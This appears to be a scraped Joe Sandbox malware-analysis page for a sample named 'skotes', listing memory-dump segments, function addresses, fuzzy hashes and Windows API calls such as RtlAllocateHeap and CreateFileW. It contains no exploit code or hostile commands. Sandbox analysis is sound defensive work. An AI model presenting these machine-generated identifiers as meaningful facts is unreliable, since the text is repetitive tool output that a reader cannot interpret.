Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: de31a64d844199f1d0996e0f4c9d96d3b2001dd4b004348c6d823ee6a842b32a
Instruction ID: 24e41f847dde6900cff6a2f18f933171a269522a52ecdcbe6f3aeb8c9aa8b5ad
Opcode Fuzzy Hash: de31a64d844199f1d0996e0f4c9d96d3b2001dd4b004348c6d823ee6a842b32a
Instruction Fuzzy Hash: E5111871A0420AAFCB05DF59E94199B7BF4EF48304F15406AF805AB351D630ED25DB69

Function 004ED82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004EA813,00000001,00000364,00000006,000000FF,?,004CD3FC,0667AB08,?,004C7A8B,?), ref: 004ED871

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f986bf27b4caf8719e4b3ac31de3d3dc90a788671445e64455c3ecdace224aac
Instruction ID: 01c85a67c66068e28ee4bea8d29178b0fecd3e083473222810e70576d1dc7831
Opcode Fuzzy Hash: f986bf27b4caf8719e4b3ac31de3d3dc90a788671445e64455c3ecdace224aac
Instruction Fuzzy Hash: 8AF0E931E011A466EB213B779C01A5B3759FF45373B148427EC38D7281DA38EC0182E9

Function 004EB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0667AB08,?,?,004CD3FC,0667AB08,?,004C7A8B,?,?,?,?,?,?,004B7465,?), ref: 004EB07D

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dd753912202b1a5c330f2a487d436fb7b28181ad910e4b6ed383ab22a5e80d89
Instruction ID: 0ada1dcd79f93be2191271a4cf57b03c9c40deaffbeb873d5a7a3f76822d34d7
Opcode Fuzzy Hash: dd753912202b1a5c330f2a487d436fb7b28181ad910e4b6ed383ab22a5e80d89
Instruction Fuzzy Hash: 1FE065351452E596EB3133779C00B5F6649DF413B2F151217ED68A66A0DB18FD0181ED

Function 004F1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,004F1B65,?,?,00000000,?,004F1B65,00000000,0000000C), ref: 004F1792

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e5d44d36e2e5531d2f243147fc99c463f80af70f343cb762a937753e446f0814
Instruction ID: 448ec595a0e4efd048937c87488d31d4bcc4d1b5b147029bf722a9dc71f91488
Opcode Fuzzy Hash: e5d44d36e2e5531d2f243147fc99c463f80af70f343cb762a937753e446f0814
Instruction Fuzzy Hash: 64D0923214010DBBDF129E84DD02EDA7BAAFB88718F018500FE1866020C772E931AB94

Function 04D302FB Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3443459660.0000000004D30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4d30000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 613fd748967ecd291d0d322e8b3be672bef5c30e1fe26c11e5b9a71c044837f6
Instruction ID: 366583d9c4757b9caa5b663932cea1962efcc1d0004138d0747177f00910e336
Opcode Fuzzy Hash: 613fd748967ecd291d0d322e8b3be672bef5c30e1fe26c11e5b9a71c044837f6
Instruction Fuzzy Hash: CC1126AB24C110FE394385852E549FB2B5DF5D3332330C46AF8C3C650AF189E949B271

Function 04D30331 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3443459660.0000000004D30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4d30000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55a92a826ec59e3def146ea6f408c5e8f242432c94a675e52df23525a7d7d2d6
Instruction ID: 654dbdc10e275853678d79a2134336563b27ff83d42033b3ad5f1d545c09f31c
Opcode Fuzzy Hash: 55a92a826ec59e3def146ea6f408c5e8f242432c94a675e52df23525a7d7d2d6
Instruction Fuzzy Hash: 29F0A4F724D120BE3592D0862F54AFB26AEE4D2732330C43BF4C2D240AF2C89A487031

Function 04D30359 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3443459660.0000000004D30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4d30000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c27892ac92072f54dcd8e3c8e0c8c40286acb41b1ec9a00a49ce0cabdfbad19a
Instruction ID: fc41632efd15400e1f699ca5f93cb9998cd37b8048463c90a26b0c79d0bd632e
Opcode Fuzzy Hash: c27892ac92072f54dcd8e3c8e0c8c40286acb41b1ec9a00a49ce0cabdfbad19a
Instruction Fuzzy Hash: 2DF096E724D114BE7553C1812F24AF76B6CE0C67723708067F482C2446F1889B5C7171

Function 04D30371 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3443459660.0000000004D30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4d30000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66eca842fa7b63930cdaefe50fd25d545f7ac7d0609a578452e7f58c1a0eba0c
Instruction ID: 9900049d6bd30e87acec1134b4f296965358fe72034f34c4efc3bcd66e048116
Opcode Fuzzy Hash: 66eca842fa7b63930cdaefe50fd25d545f7ac7d0609a578452e7f58c1a0eba0c
Instruction Fuzzy Hash: 2BF05EEB24D1207D7552C1813E24AF7676DE0D2732330C467F482D2106F2C89B497035

Function 04D30362 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3443459660.0000000004D30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4d30000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01374ce9c791864d120ddc334111d5284650ebde515f1add8b6d6fb832ecc79d
Instruction ID: 81be5a81345502aa92391ef760fa08c28ca11cd788ef630e9e414d924fc2dd14
Opcode Fuzzy Hash: 01374ce9c791864d120ddc334111d5284650ebde515f1add8b6d6fb832ecc79d
Instruction Fuzzy Hash: 52F01CEB25D020BE3552D1852F28AF7676CE0D6773330C427F482D140AF288AB4D7175

Function 04D30299 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3443459660.0000000004D30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4d30000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8931dbc418942d3902b8f16ec94b039e37772bcbccd32412644503ddb4b221d
Instruction ID: cfdd78de015a7c53d50cb15c363ffa758df94386c0c113c37ced9a39e86a35af
Opcode Fuzzy Hash: f8931dbc418942d3902b8f16ec94b039e37772bcbccd32412644503ddb4b221d
Instruction Fuzzy Hash: 48D0228A34D21FBF208760864B02976284EA1E72B22380068B8875B70FF0C1E44672E0

Non-executed Functions

Function 004D0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 004D0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 004D0F62

Part of subcall function 004D265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 004D2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 004D0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 004D0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 004D103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 004D106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 004D10C1

Strings

(, xrefs: 004D0F22

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
